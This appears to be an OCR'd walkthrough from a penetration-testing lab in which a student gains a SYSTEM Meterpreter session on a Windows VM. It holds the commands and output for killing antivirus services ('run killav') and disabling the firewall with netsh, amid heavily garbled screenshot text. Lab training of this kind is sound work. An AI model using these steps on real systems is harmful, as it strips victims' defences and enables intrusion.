, ey . e M
sun| B - 3 @ B AT @ ™
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AtNDQ4ZC1iMDUOLTBhN2UzN2JjOWC

[shellcode - File. [shellcode - File .. m student - File M... Terminal -
bBgcGvHW.jpeg (JPEG Image, 1704 x 862 pixels) - Scaled (75%) - Mozilla Firefox
bBgcGvHW.jpeg (JPEG I

C

Kali Linux

i file:///home/student/bBgcGvHW.jpeg

Kali Training Kali Tools « Kali Docs Kali Forums NetHunter Offensive Security « Exploit-DB

el @ 75 0 C) ]

0Oere %« O

. 1258AM ) A O | & &

—

ACOTMzUyLTRK

Terminal - s

e I W n@oe& =

GHDB || MSFU

- I5PM
wARR

The final command | want to show you is simple and will turn off the antivirus system. Before we do this
lets make sure that Windows Defender is turned on. Move to the Windows VM and check the status by
typing defender in the Windows search program box (see screenshot below). Make changes if
necessary. Then return to the Linux box and Type run killawv and press enter. This will work about
60 percent of the time in my experience. Remember that shells can be volatile. You may lose access
several times through the process. This is a part of hacking. Notice in the screenshot below that my
scripts are deprecated. Persistence is key to getting a particular attack to work. If you get the message
below, try the “run killav” command again. If you still have a failure, you may want to try the listed

Metasploit post module to kill the antivirus software.
meterpreter > run killav

[!] Meterpreter scripts are deprecated. Try
post/windows/manage/killav.

[!] Example:
[*]
[*]
[-]

Killing off cmd.exe...
Could not execute killav:

run post/windows/manage/killav OPTION=value
Killing Antivirus services on the target..

[...]

Rex::Post::Meterpreter: :RequestError

stdapi sys process kill: Operation failed: Access is denied.

meterpreter >
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DQAZC1iMDUOLTBhN2UZN2JjOWQ4ANC84YjQzYTIhMCOTMzUyLTRKYZzgtOTQ2... [ 1© ¥ O @

12200M ) A © | &
Terminal - student@kali: ~ - 0O Xx

File Edit View Terminal Tabs Help

Launching notepad to host the exploit...
[+] Process 2148 launched.
Reflectively injecting the exploit DLL into 2148...
Injecting exploit into 2148...
Exploit injected. Injecting payload into 2148...
Payload injected. Executing exploit...
Exploit finished, wait for (hopefully privileged) payload execution to compl

Sending stage (201283 bytes) to 10.1.39.129
Meterpreter session 2 opened (10.1.44.164:4444 -> 10.1.39.129:65346) at 2022
-10-05 00:16:17 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run killav

[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [...]

Killing Antivirus services on the target...

Killing off cmd.

Killing off cmd.

Killing off cmd.

Killing off cmd.
meterpreter
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S5 windos Defender

PD @y vome B scn |+ @ Hitoy £F Toos (7) -

Protection against spyware and potentially umwanted software

Cl a
Updated definitions enable detections of the latest harmful ar unwanted Eherhinipdalesinon

software and prevent it from running on your computer. EY Go online to view troubleshooting tips

Contral Panel (2}

i Scan for spyware and other potentially unwanted software

Status

Last scan: 12/12/2018 at 2:26 AM (Quick scan)
Scan schedule: Daily around 2:00 AM {Quick scan)
Real-time protection: On

Antispyware definitions: Version 1951910 created on L1/18/2010 at 7:45 PM

17 See more results
defender B Logoff | »

e 5 &U_J
. C W
Yivartmme liskima Fore [ W -

¥ Action Center -0 x|

{ A = ¥+ Control Panel * Systern and Security v Action Center = [{23 | Search Control Panel &
Security d] ﬂ

[rStart

Cantral Panel Harme

X Spyware and unwanted software protection (Important)
Change &ction Center settings . . Update now
| &l Windows Defender is out of date,
B Change Lser Account Cantrol
| settings Turn off messages about spyware and related Get a different antispyware
protection prograr anline

Wiewr archived messages

View perfarmance information

Wirus protection (Important) -
Find a program anline

W¥indows did not find antivirus software on this computer,

Turn off messages ahout wirus protection
Windows Update [Important)

Change settings...
Weindows Update is not set up for this computer,
Turn off rnessages about Windows Update

Metwork firewall (Important)
. i . By Turn an now
@ Windows Firewall is turned off or set up incarrectly,

Turn off rnessages about network firewall Get 3 different firewsll prograrm —
anline

See also

Windows Defender needs to scan your computer

Backup and Restors
Windows Update Scanning on a regular hasis helps improve the security of yaur Sean how

computer.

4important messages

Windows Pragram ?v;!" 6 total messages

Compatibility Troubleshooter

Maintenance Update Windoues Defender Important)
Find an antivirus pragram online (Impartant)

Set up Windows Update (mportant)

) Turn on Windows Firewsal| mpartant)

Open Action Center
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rginiacyberranc X |+

¥+ Action Center =101 x|

&P )= ¥ - Control Panel ~ System and Securiy + Action Center v K& [Search Control Panel 821

ity |

Spyware and unwanted software protection (Important) "
Update now
M Windows Defender is out of date. Rt

n off messages about spyware and rel

Virus protection (Important)
Windows did not find antivirus software on this computer, et

1 off messages about virus protectior

Windows Update (Important)
Change settings.
Windows Update is not set up for this computer,

m off messages about Windows Update

Network firewall (Important) |
2 # Tum on now
& Windows Firewall is tumed off or set up incorrectly.

\ off messages about network firewall

Windows Defender needs to scan your computer -
Scan now |
Scanning on 3 regular basis helps improve the security of your computer. ————

Here is the control panel after run killav.

First, congratulations on getting this far. This was a difficult lesson. As you can see, Metasploit and
meterpreter are very powerful tools and can do a lot of damage to a network. There is still so much
more to be learned, but this should get you excited enough to explore.

If you have some extra time return the Windows shell (not Meterpreter shell) by typing shell in the
Meterpreter session then type netsh firewall set opmode mode=disable
| bet you can guess what this does.

Q4ZC1iMDUOLTBhN2UzN2JjOWQ4NC84YjQzYTJIhMCO1MzUyLTRkYzgtOTQ?2... 2 w o

22AM O A O | &
Terminal - student@kali: ~ i BN

File Edit View Terminal Tabs Help
Killing off cmd.exe...
Killing off cmd.exe...
Killing off cmd.exe...
Killing off cmd.exe...
meterpreter > shell
Process 2544 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\student>netsh firewall set opmode mode=disable
netsh firewall set opmode mode=disable

IMPORTANT: Command executed successfully.

However, "netsh firewall" is deprecated;

use "netsh advfirewall firewall" instead.

For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709

at http://go.microsoft.com/fwlink/?1inkid=121488 .

Ok.

C:\Users\student>]]
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Above Here is my netsh firewall set opmode mode=disable working.
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